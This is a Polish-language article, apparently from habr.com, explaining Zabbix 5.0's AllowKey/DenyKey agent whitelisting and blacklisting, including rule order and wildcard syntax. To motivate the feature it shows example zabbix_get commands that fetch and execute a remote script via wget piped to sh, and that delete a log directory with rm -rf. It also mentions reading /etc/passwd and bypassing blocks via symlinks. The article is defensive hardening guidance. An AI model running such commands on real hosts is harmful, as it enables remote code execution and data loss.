Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Wsparcie dla czarnych i białych list metryk po stronie agenta

Tichon Uskow, Inżynier integracji, Zabbix

Problemy z bezpieczeństwem danych

W Zabbix 5.0 wprowadzono nową funkcję, która pozwala poprawić bezpieczeństwo w systemach z użyciem agenta Zabbix i zastępuje stary parametr EnableRemoteCommands.

Udoskonalenie bezpieczeństwa systemów z użyciem agenta wynika z faktu, że agent może wykonywać wiele potencjalnie niebezpiecznych działań.

  • Agent może zbierać praktycznie wszelkie informacje, w tym te poufne lub potencjalnie niebezpieczne, z plików konfiguracyjnych, plików dzienników, plików z hasłami lub innych plików.

Na przykład, za pomocą narzędzia zabbix_get można uzyskać dostęp do listy użytkowników, ich katalogów domowych, plików z hasłami itd.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Dostęp do danych za pomocą narzędzia zabbix_get

UWAGA. Dane można uzyskać tylko wtedy, gdy agent ma prawa do odczytu odpowiedniego pliku. Ale na przykład plik /etc/passwd/ jest dostępny do odczytu dla wszystkich użytkowników.

  • Agent może również wykonywać potencjalnie niebezpieczne polecenia. Na przykład, klucz *system.run[]** pozwala na wykonywanie wszelkich zdalnych poleceń na węzłach sieci, w tym uruchamianie w interfejsie webowym Zabbix skryptów, które również wykonują polecenia po stronie agenta.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • W systemie Linux agent domyślnie uruchamiany jest bez przywilejów administratora, natomiast w systemie Windows działa jako usługa na koncie System i ma nieograniczony dostęp do systemu plików. W związku z tym, jeśli po instalacji w ustawieniach agenta Zabbix nie wprowadzone zostały zmiany, agent ma dostęp do rejestru, systemu plików i może wykonywać zapytania WMI.

W wcześniejszych wersjach parametr EnableRemoteCommands=0 pozwalał jedynie na wyłączenie metryk z kluczem *system.run[]** i wykonywania skryptów z interfejsu webowego, ale tym samym nie było możliwości ograniczenia dostępu do poszczególnych plików, zezwolenia lub zakazu poszczególnych kluczy, które były ustawiane razem z agentem, lub ograniczenia użycia pojedynczych parametrów.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zastosowanie parametru EnableRemoteCommand w wcześniejszych wersjach Zabbix

AllowKey/DenyKey

Zabbix 5.0 pomaga zabezpieczyć się przed takim nieautoryzowanym dostępem dzięki białym i czarnym listom do zezwolenia i zakazu metryk po stronie agenta.

W Zabbix 5.0 wszystkie klucze, w tym *system.run[]**, są dozwolone, a także dodano dwa nowe parametry konfiguracyjne agenta:

AllowKey= — dozwolone kontrole;

DenyKey= — zabronione kontrole;

gdzie — wzór nazwy klucza z parametrami, w którym używane są znaki specjalne (*).

Klucze AllowKey i DenyKey pozwalają na zezwolenie lub zablokowanie pojedynczych metryk według określonego wzoru. W przeciwieństwie do innych parametrów konfiguracyjnych, liczba parametrów AllowKey/DenyKey nie jest ograniczona. Umożliwia to dokładne określenie, co agent może robić w systemie dzięki stworzeniu drzewa kontroli — wykonywanych kluczy, w którym bardzo ważną rolę odgrywa kolejność ich zapisu.

Sekwencja reguł

Reguły są sprawdzane w takiej kolejności, w jakiej zostały wprowadzone do pliku konfiguracyjnego. Sprawdzenie klucza według reguł odbywa się do pierwszego dopasowania, a gdy tylko klucz elementu danych zgadza się z wzorem, jest zezwalany lub blokowany. Po tym sprawdzenie reguł zostaje zatrzymane, a pozostałe klucze są ignorowane.

Dlatego jeśli element pasuje zarówno do reguły zezwalającej, jak i zabraniającej, wynik będzie zależny od tego, która reguła znajdzie się pierwsza w pliku konfiguracyjnym.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

2 różne reguły z tym samym wzorem i kluczem vfs.file.size[/tmp/file]

Kolejność użycia kluczy AllowKey/DenyKey:

  1. reguły dokładne,
  2. reguły ogólne,
  3. reguła zakazująca.

Na przykład, jeśli potrzebujesz dostępu do plików w określonym folderze, musisz najpierw zezwolić na dostęp do nich, a następnie zabronić wszystkiego innego, co nie podlega ustalonym zezwoleniom. Jeśli najpierw zostanie użyta reguła zakazująca, dostęp do folderu będzie zablokowany.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Poprawna sekwencja

Jeśli konieczne jest zezwolenie na uruchomienie 2 narzędzi przez *system.run[]**, a jako pierwsza zostanie podana reguła zakazująca, narzędzia nie będą się uruchamiać, ponieważ pierwszy wzór będzie zawsze odpowiadał dowolnemu kluczowi, a kolejny reguły będą ignorowane.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Niepoprawna sekwencja

Wzory

Podstawowe zasady

Wzór — wyrażenie z symbolami wieloznacznymi (wildcard). Znak specjalny (*) odpowiada dowolnej liczbie dowolnych znaków w określonej pozycji. Znaki specjalne mogą być używane zarówno w nazwie klucza, jak i w parametrach. Na przykład, można sztywno określić tekstem pierwszy parametr, a następny wskazać jako wildcard.

Parametry muszą być umieszczone w nawiasach kwadratowych [].

  • system.run[* — niepoprawnie
  • vfs.file*.txt] — niepoprawnie
  • vfs.file.*[*] — poprawny

Przykłady zastosowania wildcard.

  1. W nazwie klucza i w parametrach. W tym przypadku klucz nie odpowiada analogicznemu kluczowi, który nie zawiera parametru, ponieważ w wzorze określiliśmy, że chcemy uzyskać pewne zakończenie nazwy klucza oraz pewny zestaw parametrów.
  2. Jeśli w wzorze nie użyto nawiasów kwadratowych, wzór zezwala na wszystkie klucze, które nie zawierają parametrów i zabrania wszystkich kluczy z określonym parametrem.
  3. Jeśli klucz jest zapisany w całości, a parametry określono jako wildcard, będzie on odpowiadał dowolnemu analogicznemu kluczowi z dowolnymi parametrami i nie będzie odpowiadał kluczowi bez nawiasów kwadratowych, tj. będzie dozwolony lub zabroniony.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zasady wypełniania parametrów.

  • Jeśli zakłada się użycie klucza z parametrami, parametry muszą być wpisane w pliku konfiguracyjnym. Parametry powinny być określone jako metaznak. Należy ostrożnie zabraniać dostępu do jakiegokolwiek pliku i uwzględnić, jakie informacje może zwracać metryka przy różnych wariantach zapisu — z parametrami i bez nich.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Cechy zapisu kluczy z parametrami

  • Jeśli klucz został określony z parametrami, ale parametry są opcjonalne i określone jako metaznak, klucz bez parametrów będzie dozwolony. Na przykład, jeśli chcesz zabronić uzyskiwania informacji o obciążeniu CPU i określasz, że klucz system.cpu.load[*] powinien być zabroniony, nie zapomnij, że klucz bez parametrów zwróci średnią wartość obciążenia.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zasady wypełniania parametrów

Notatki

Konfiguracja

  • Niektóre zasady nie mogą być zmieniane przez użytkownika, na przykład zasady odkrywania (discovery) lub automatycznej rejestracji agentów. Zasady AllowKey/DenyKey nie dotyczą następujących parametrów:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

UWAGA. Jeśli administrator zabrania jakiegoś klucza, Zabbix nie podaje informacji o tym, dlaczego metryka lub klucz trafiają do kategorii ‘NOTSUPPORTED‘. W plikach logów agenta informacje o zakazach wykonywania zdalnych poleceń również nie są wyświetlane. Zostało to zrobione z względów bezpieczeństwa, ale może utrudnić debugowanie, jeśli metryki trafiają do kategorii nieobsługiwanej z jakichkolwiek powodów..

  • Nie należy polegać na jakiejkolwiek określonej kolejności ładowania zewnętrznych plików konfiguracyjnych (na przykład w porządku alfabetycznym).

Narzędzia wiersza poleceń

Po skonfigurowaniu reguł należy upewnić się, że wszystko zostało poprawnie ustawione.

Można skorzystać z jednego z trzech wariantów:

  • Dodaj metrykę do Zabbix.
  • Przetestuj za pomocą zabbix_agentd. Agent Zabbix z opcją -print (-p) pokazuje wszystkie klucze (które są domyślnie dozwolone), z wyjątkiem tych, które są zablokowane przez konfigurację. Z opcją -test (-t) dla zablokowanego klucza zwróci ‘Unsupported item key‘.
  • Przetestuj za pomocą zabbix_get. Narzędzie zabbix_get z opcją -k zwróci ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Zezwól lub zablokuj

Możesz zablokować dostęp do pliku i upewnić się, na przykład, za pomocą narzędzia zabbix_get, że dostęp do pliku jest zablokowany.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

**

UWAGA. Cytaty w parametrze są ignorowane.

Jednak dostęp do takiego pliku może być dozwolony inną drogą. Na przykład, jeśli prowadzi do niego symlink.

Wsparcie dla czarnych i białych list metryk po stronie agenta w Zabbix 5.0

Zaleca się testowanie różnych wariantów zastosowania ustalonych reguł oraz uwzględnienie możliwości obejścia blokad.

Pytania i odpowiedzi

Pytanie. Dlaczego do opisu reguł, uprawnień i blokad wybrano tak skomplikowany schemat wzorców z własnym językiem? Dlaczego nie można było skorzystać, na przykład, z wyrażeń regularnych, które używa Zabbix?

Odpowiedź. To kwestia wydajności regex, ponieważ agent zazwyczaj jest jeden i sprawdza ogromną ilość metryk. Regex to operacja dość obciążająca, a my nie możemy sprawdzać tysięcy metryk w ten sposób. Wildcardy to uniwersalne, szeroko stosowane i proste rozwiązanie..

Pytanie. Czy pliki Include są podłączane w porządku alfabetycznym?

Odpowiedź. O ile mi wiadomo, przewidzenie kolejności stosowania reguł, jeśli rozrzucasz je po różnych plikach, jest w praktyce niemożliwe. Rekomenduję zebranie wszystkich reguł AllowKey/DenyKey w jednym pliku Include, ponieważ współdziałają ze sobą, i podłączenie tego pliku..

Pytanie. W Zabbix 5.0 opcja ‘EnableRemoteCommands=‘ w pliku konfiguracyjnym jest nieobecna, a dostępne są tylko AllowKey/DenyKey?

Odpowiedź. Tak, zgadza się..

Dziękuję za uwagę!

Źródło: habr.com

Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS 🔥 Kup solidny hosting stron z ochroną przed DDoS, serwery VPS VDS | ProHoster